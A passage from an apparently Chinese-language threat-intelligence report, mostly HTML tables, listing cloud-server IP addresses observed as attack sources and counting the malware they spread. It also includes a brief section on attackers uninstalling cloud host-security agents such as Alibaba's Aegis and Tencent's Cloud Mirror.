<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">36</span></p>
</td>
<td width="140" nowrap="" style="width:105.1pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">1</span></p>
</td>
<td width="87" nowrap="" style="width:65.15pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">434</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:8;height:9.6pt">
<td width="159" nowrap="" style="width:119.25pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:68"><b><span lang="EN-US">185.243.56.167</span></b><b><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></b></p>
</div>
</td>
<td width="88" nowrap="" style="width:66.0pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">27</span></p>
</td>
<td width="140" nowrap="" style="width:105.1pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">3</span></p>
</td>
<td width="87" nowrap="" style="width:65.15pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">1,240</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:9;mso-yfti-lastrow:yes;height:9.6pt">
<td width="159" nowrap="" style="width:119.25pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><b><span lang="EN-US">45.9.148.37</span></b><b><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></b></p>
</div>
</td>
<td width="88" nowrap="" style="width:66.0pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">24</span></p>
</td>
<td width="140" nowrap="" style="width:105.1pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">4</span></p>
</td>
<td width="87" nowrap="" style="width:65.15pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">239</span></p>
</td>
</tr>
</tbody></table>
</div><!--kg-card-end: html--><h3 id="--1">卸载云主机安全产品</h3><p>阿里云、腾讯云等主流的云厂商，都在提供云服务的同时提供配套的免费或收费的主机安全产品，例如阿里云的主机安全产品称为安骑士，腾讯云的称为云镜。在开始进攻其他云服务器时，黑客通常首先会尝试卸载目标主机上预装的安全产品，以避免后续攻击过程被发现和阻止。以下是云服务器攻击源IP尝试卸载目标机器上的主机安全产品的情况。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/11/12.png" class="kg-image" alt loading="lazy"></figure><p>以下是发送卸载云主机安全产品的恶意软件次数最多的10个IP。我们发现腾讯云和百度智能云的IP在卸载目标主机安全产品的行为上较为活跃：</p><!--kg-card-begin: html--><div align="center">
<table class="MsoTable15Grid4Accent3" border="1" cellspacing="0" cellpadding="0" width="0" style="width:417.95pt;border-collapse:collapse;border:none;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
mso-yfti-tbllook:1184;mso-padding-alt:0cm 5.4pt 0cm 5.4pt">
<tbody><tr style="mso-yfti-irow:-1;mso-yfti-firstrow:yes;mso-yfti-lastfirstrow:yes;
height:9.6pt">
<td width="141" nowrap="" valign="top" style="width:106.1pt;border:solid #A5A5A5 1.0pt;
mso-border-themecolor:accent3;border-right:none;mso-border-top-alt:solid #A5A5A5 .5pt;
mso-border-top-themecolor:accent3;mso-border-left-alt:solid #A5A5A5 .5pt;
mso-border-left-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;
mso-border-bottom-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:
accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:5"><b><span lang="EN-US" style="mso-bidi-font-size:12.0pt;
color:white;mso-themecolor:background1;mso-font-kerning:0pt">IP</span></b><b><span style="mso-bidi-font-size:12.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:white;mso-themecolor:background1;
mso-font-kerning:0pt">地址</span></b><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;color:white;mso-themecolor:background1;mso-font-kerning:0pt;
mso-bidi-font-weight:bold"><o:p></o:p></span></p>
</td>
<td width="180" nowrap="" valign="top" style="width:134.65pt;border-top:solid #A5A5A5 1.0pt;
mso-border-top-themecolor:accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;
mso-border-bottom-themecolor:accent3;border-right:none;mso-border-top-alt:
solid #A5A5A5 .5pt;mso-border-top-themecolor:accent3;mso-border-bottom-alt:
solid #A5A5A5 .5pt;mso-border-bottom-themecolor:accent3;background:#A5A5A5;
mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><b><span style="mso-bidi-font-size:12.0pt;font-family:宋体;
mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";
color:white;mso-themecolor:background1;mso-font-kerning:0pt">云服务商</span></b><span lang="EN-US" style="mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;
mso-font-kerning:0pt;mso-bidi-font-weight:bold"><o:p></o:p></span></p>
</td>
<td width="123" nowrap="" valign="top" style="width:92.15pt;border-top:solid #A5A5A5 1.0pt;
mso-border-top-themecolor:accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;
mso-border-bottom-themecolor:accent3;border-right:none;mso-border-top-alt:
solid #A5A5A5 .5pt;mso-border-top-themecolor:accent3;mso-border-bottom-alt:
solid #A5A5A5 .5pt;mso-border-bottom-themecolor:accent3;background:#A5A5A5;
mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><b><span style="mso-bidi-font-size:12.0pt;font-family:宋体;
mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";
color:white;mso-themecolor:background1;mso-font-kerning:0pt">恶意软件家族</span></b><span lang="EN-US" style="mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;
mso-font-kerning:0pt;mso-bidi-font-weight:bold"><o:p></o:p></span></p>
</td>
<td width="113" nowrap="" valign="top" style="width:3.0cm;border:solid #A5A5A5 1.0pt;
mso-border-themecolor:accent3;border-left:none;mso-border-top-alt:solid #A5A5A5 .5pt;
mso-border-top-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;
mso-border-bottom-themecolor:accent3;mso-border-right-alt:solid #A5A5A5 .5pt;
mso-border-right-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:
accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><b><span style="mso-bidi-font-size:12.0pt;font-family:宋体;
mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";
color:white;mso-themecolor:background1;mso-font-kerning:0pt">传播次数</span></b><span lang="EN-US" style="mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;
mso-font-kerning:0pt;mso-bidi-font-weight:bold"><o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:0;height:9.6pt">
<td width="141" nowrap="" valign="bottom" style="width:106.1pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:68"><b><span lang="EN-US" style="color:black">121.4.26.124<o:p></o:p></span></b></p>
</td>
<td width="180" nowrap="" valign="bottom" style="width:134.65pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span style="font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:
"Times New Roman";color:black">腾讯云</span><span lang="EN-US" style="color:black"><o:p></o:p></span></p>
</td>
<td width="123" nowrap="" valign="bottom" style="width:92.15pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US" style="color:black">28<o:p></o:p></span></p>
</td>
<td width="113" nowrap="" valign="bottom" style="width:3.0cm;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US" style="color:black">6,912<o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:1;height:9.6pt">
<td width="141" nowrap="" valign="bottom" style="width:106.1pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><b><span lang="EN-US" style="color:black">101.35.88.62<o:p></o:p></span></b></p>
</td>
<td width="180" nowrap="" valign="bottom" style="width:134.65pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center"><span style="font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:
"Times New Roman";color:black">腾讯云</span><span lang="EN-US" style="color:black"><o:p></o:p></span></p>
</td>
<td width="123" nowrap="" valign="bottom" style="width:92.15pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US" style="color:black">29<o:p></o:p></span></p>
</td>
<td width="113" nowrap="" valign="bottom" style="width:3.0cm;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US" style="color:black">6,624<o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:2;height:9.6pt">
<td width="141" nowrap="" valign="bottom" style="width:106.1pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:68"><b><span lang="EN-US" style="color:black">106.12.22.126<o:p></o:p></span></b></p>
</td>
<td width="180" nowrap="" valign="bottom" style="width:134.65pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span style="font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:
"Times New Roman";color:black">百度智能云</span><span lang="EN-US" style="color:
black"><o:p></o:p></span></p>
</td>
<td width="123" nowrap="" valign="bottom" style="width:92.15pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US" style="color:black">25<o:p></o:p></span></p>
</td>
<td width="113" nowrap="" valign="bottom" style="width:3.0cm;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US" style="color:black">5,841<o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:3;height:9.6pt">
<td width="141" nowrap="" style="width:106.1pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:4"><b><span lang="EN-US">52.131.241.237<o:p></o:p></span></b></p>
</div>
</td>
<td width="180" nowrap="" style="width:134.65pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center"><span style="font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:
"Times New Roman"">微软</span><span lang="EN-US">Azure</span></p>
</div>
</td>
<td width="123" nowrap="" valign="bottom" style="width:92.15pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US" style="color:black">40<o:p></o:p></span></p>
</td>
<td width="113" nowrap="" valign="bottom" style="width:3.0cm;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US" style="color:black">5,309<o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:4;height:9.6pt">
<td width="141" nowrap="" valign="bottom" style="width:106.1pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:68"><b><span lang="EN-US" style="color:black">1.117.143.141<o:p></o:p></span></b></p>
</td>
<td width="180" nowrap="" valign="bottom" style="width:134.65pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span style="font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:
"Times New Roman";color:black">腾讯云</span><span lang="EN-US" style="color:black"><o:p></o:p></span></p>
</td>
<td width="123" nowrap="" valign="bottom" style="width:92.15pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:9.6pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US" style="color:black">21<o:p></o:p></span></p>
</td>
<td width="113" nowrap="" valign="bottom" style="width:3.0cm;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
